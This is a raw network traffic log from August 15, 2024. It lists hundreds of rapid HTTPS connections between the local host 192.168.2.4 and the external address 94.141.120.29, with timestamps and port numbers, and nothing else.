Aug 15, 2024 08:10:29.461986065 CEST	443	49965	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.467736959 CEST	49966	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.467816114 CEST	443	49966	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.468130112 CEST	49966	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.478674889 CEST	49966	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.478743076 CEST	443	49966	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.478849888 CEST	443	49966	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.484384060 CEST	49967	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.484463930 CEST	443	49967	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.484553099 CEST	49967	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.495572090 CEST	49967	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.495647907 CEST	443	49967	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.495910883 CEST	443	49967	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.500502110 CEST	49968	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.500580072 CEST	443	49968	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.500644922 CEST	49968	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.512861013 CEST	49968	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.512929916 CEST	443	49968	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.513175964 CEST	443	49968	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.518805027 CEST	49969	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.518913984 CEST	443	49969	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.519021988 CEST	49969	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.530324936 CEST	49969	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.530400991 CEST	443	49969	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.530616045 CEST	443	49969	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.536202908 CEST	49970	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.536281109 CEST	443	49970	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.536350965 CEST	49970	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.544056892 CEST	49970	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.544131041 CEST	443	49970	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.544229984 CEST	443	49970	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.549616098 CEST	49971	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.549693108 CEST	443	49971	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.549798965 CEST	49971	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.561551094 CEST	49971	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.561618090 CEST	443	49971	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.561909914 CEST	443	49971	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.567795038 CEST	49972	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.567873001 CEST	443	49972	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.567956924 CEST	49972	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.581319094 CEST	49972	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.581394911 CEST	443	49972	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.581609964 CEST	443	49972	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.590282917 CEST	49973	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.590362072 CEST	443	49973	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.590451956 CEST	49973	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.620369911 CEST	49973	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.620436907 CEST	443	49973	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.620618105 CEST	443	49973	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.630960941 CEST	49974	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.631041050 CEST	443	49974	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.631380081 CEST	49974	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.645031929 CEST	49974	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.645123005 CEST	443	49974	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.645334959 CEST	443	49974	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.653868914 CEST	49975	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.653949022 CEST	443	49975	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.654064894 CEST	49975	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.666733027 CEST	49975	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.666810036 CEST	443	49975	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.667032957 CEST	443	49975	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.672322989 CEST	49976	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.672400951 CEST	443	49976	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.672508955 CEST	49976	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.685942888 CEST	49976	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.686017036 CEST	443	49976	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.686261892 CEST	443	49976	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.695575953 CEST	49977	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.695657015 CEST	443	49977	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.695769072 CEST	49977	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.711816072 CEST	49977	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.711889982 CEST	443	49977	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.712129116 CEST	443	49977	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.720189095 CEST	49978	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.720268011 CEST	443	49978	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.720416069 CEST	49978	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.733766079 CEST	49978	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.733833075 CEST	443	49978	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.733946085 CEST	443	49978	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.739881039 CEST	49979	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.739959002 CEST	443	49979	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.740032911 CEST	49979	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.750976086 CEST	49979	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.751049042 CEST	443	49979	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.751266003 CEST	443	49979	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.756560087 CEST	49980	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.756637096 CEST	443	49980	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.756719112 CEST	49980	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.766814947 CEST	49980	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.766885042 CEST	443	49980	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.767148018 CEST	443	49980	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.774426937 CEST	49981	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.774512053 CEST	443	49981	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.774579048 CEST	49981	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.783123016 CEST	49981	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.783189058 CEST	443	49981	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.783282995 CEST	443	49981	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.787434101 CEST	49982	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.787484884 CEST	443	49982	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.787759066 CEST	49982	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.795878887 CEST	49982	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.795953035 CEST	443	49982	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.796122074 CEST	443	49982	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.800614119 CEST	49983	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.800692081 CEST	443	49983	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.800760984 CEST	49983	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.809993982 CEST	49983	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.810061932 CEST	443	49983	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.810288906 CEST	443	49983	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.814850092 CEST	49984	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.814891100 CEST	443	49984	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.814950943 CEST	49984	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.823863983 CEST	49984	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.823878050 CEST	443	49984	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.824167013 CEST	443	49984	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.828255892 CEST	49985	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.828289032 CEST	443	49985	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.828407049 CEST	49985	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.836932898 CEST	49985	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.836946964 CEST	443	49985	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.837243080 CEST	443	49985	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.841511965 CEST	49986	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.841519117 CEST	443	49986	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.841979980 CEST	49986	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.851135969 CEST	49986	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.851145983 CEST	443	49986	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.851440907 CEST	443	49986	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.855907917 CEST	49987	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.855920076 CEST	443	49987	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.855986118 CEST	49987	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.864260912 CEST	49987	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.864269972 CEST	443	49987	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.864553928 CEST	443	49987	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.868933916 CEST	49988	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.868942022 CEST	443	49988	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.868985891 CEST	49988	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.877136946 CEST	49988	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.877146006 CEST	443	49988	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.877422094 CEST	443	49988	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.881745100 CEST	49989	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.881753922 CEST	443	49989	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.881907940 CEST	49989	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.890311003 CEST	49989	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.890326977 CEST	443	49989	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.890523911 CEST	443	49989	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.895522118 CEST	49990	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.895536900 CEST	443	49990	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.895616055 CEST	49990	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.904158115 CEST	49990	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.904167891 CEST	443	49990	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.904429913 CEST	443	49990	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.908911943 CEST	49991	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.908920050 CEST	443	49991	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.909351110 CEST	49991	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.917861938 CEST	49991	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.917871952 CEST	443	49991	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.918139935 CEST	443	49991	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.922445059 CEST	49992	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.922451973 CEST	443	49992	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.922755003 CEST	49992	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.934355021 CEST	49992	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.934376001 CEST	443	49992	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.934602976 CEST	443	49992	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.941591024 CEST	49993	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.941620111 CEST	443	49993	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.941754103 CEST	49993	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.956870079 CEST	49993	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.956883907 CEST	443	49993	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.957181931 CEST	443	49993	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.961930990 CEST	49994	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.961941004 CEST	443	49994	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.962069988 CEST	49994	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.970099926 CEST	49994	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.970108986 CEST	443	49994	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.970383883 CEST	443	49994	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.975459099 CEST	49995	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.975477934 CEST	443	49995	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.975714922 CEST	49995	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.983756065 CEST	49995	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.983766079 CEST	443	49995	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.983987093 CEST	443	49995	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.989018917 CEST	49996	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.989027023 CEST	443	49996	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.989176989 CEST	49996	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.997545958 CEST	49996	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.997555971 CEST	443	49996	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.997816086 CEST	443	49996	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.002505064 CEST	49997	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.002511978 CEST	443	49997	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.002588034 CEST	49997	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.011949062 CEST	49997	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.011960030 CEST	443	49997	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.012255907 CEST	443	49997	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.017421007 CEST	49998	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.017429113 CEST	443	49998	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.017483950 CEST	49998	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.026352882 CEST	49998	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.026361942 CEST	443	49998	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.026624918 CEST	443	49998	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.030644894 CEST	49999	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.030654907 CEST	443	49999	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.030872107 CEST	49999	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.039865017 CEST	49999	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.039875031 CEST	443	49999	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.039988041 CEST	443	49999	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.044353008 CEST	50000	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.044444084 CEST	443	50000	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.044517040 CEST	50000	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.056859970 CEST	50000	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.056900978 CEST	443	50000	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.057148933 CEST	443	50000	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.063154936 CEST	50001	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.063205004 CEST	443	50001	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.063263893 CEST	50001	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.075867891 CEST	50001	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.075906038 CEST	443	50001	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.076183081 CEST	443	50001	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.082067966 CEST	50002	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.082107067 CEST	443	50002	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.082154036 CEST	50002	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.094614983 CEST	50002	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.094647884 CEST	443	50002	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.094881058 CEST	443	50002	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.100028038 CEST	50003	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.100059986 CEST	443	50003	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.100127935 CEST	50003	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.112555027 CEST	50003	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.112580061 CEST	443	50003	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.112698078 CEST	443	50003	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.118063927 CEST	50004	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.118103981 CEST	443	50004	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.118199110 CEST	50004	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.130558014 CEST	50004	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.130577087 CEST	443	50004	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.130717039 CEST	443	50004	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.142126083 CEST	50005	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.142174006 CEST	443	50005	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.142384052 CEST	50005	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.150702000 CEST	50005	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.150728941 CEST	443	50005	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.150985003 CEST	443	50005	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.155347109 CEST	50006	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.155366898 CEST	443	50006	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.155881882 CEST	50006	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.165347099 CEST	50006	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.165395021 CEST	443	50006	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.165649891 CEST	443	50006	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.169876099 CEST	50007	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.169894934 CEST	443	50007	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.170018911 CEST	50007	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.181334972 CEST	50007	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.181349039 CEST	443	50007	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.181596041 CEST	443	50007	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.189327955 CEST	50008	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.189337969 CEST	443	50008	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.189459085 CEST	50008	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.201333046 CEST	50008	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.201344013 CEST	443	50008	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.201488018 CEST	443	50008	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.206064939 CEST	50009	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.206171989 CEST	443	50009	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.206343889 CEST	50009	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.215014935 CEST	50009	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.215053082 CEST	443	50009	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.215157986 CEST	443	50009	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.221333027 CEST	50010	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.221362114 CEST	443	50010	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.221679926 CEST	50010	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.230218887 CEST	50010	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.230243921 CEST	443	50010	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.230479956 CEST	443	50010	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.237334013 CEST	50011	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.237344027 CEST	443	50011	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.237477064 CEST	50011	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.246048927 CEST	50011	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.246061087 CEST	443	50011	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.246301889 CEST	443	50011	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.253329039 CEST	50012	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.253350973 CEST	443	50012	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.253624916 CEST	50012	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.265322924 CEST	50012	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.265331984 CEST	443	50012	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.265614033 CEST	443	50012	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.272726059 CEST	50013	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.272741079 CEST	443	50013	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.272959948 CEST	50013	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.291412115 CEST	50013	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.291430950 CEST	443	50013	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.291563988 CEST	443	50013	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.298223019 CEST	50014	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.298240900 CEST	443	50014	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.298438072 CEST	50014	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.309322119 CEST	50014	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.309334993 CEST	443	50014	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.309514999 CEST	443	50014	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.318620920 CEST	50015	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.318645000 CEST	443	50015	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.318831921 CEST	50015	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.327919960 CEST	50015	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.327929974 CEST	443	50015	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.328191042 CEST	443	50015	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.333256006 CEST	50016	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.333336115 CEST	443	50016	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.334074020 CEST	50016	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.343497038 CEST	50016	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.343600035 CEST	443	50016	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.343823910 CEST	443	50016	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.349059105 CEST	50017	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.349138021 CEST	443	50017	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.349262953 CEST	50017	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.361450911 CEST	50017	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.361520052 CEST	443	50017	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.361639977 CEST	443	50017	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.369890928 CEST	50018	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.369971991 CEST	443	50018	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.370513916 CEST	50018	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.385298014 CEST	50018	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.385375023 CEST	443	50018	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.385623932 CEST	443	50018	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.391227007 CEST	50019	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.391307116 CEST	443	50019	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.391396999 CEST	50019	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.402019978 CEST	50019	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.402093887 CEST	443	50019	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.402187109 CEST	443	50019	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.406794071 CEST	50020	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.406873941 CEST	443	50020	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.409435987 CEST	50020	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.420464039 CEST	50020	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.420557022 CEST	443	50020	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.420656919 CEST	443	50020	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.426390886 CEST	50021	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.426470041 CEST	443	50021	94.141.120.29	192.168.2.4
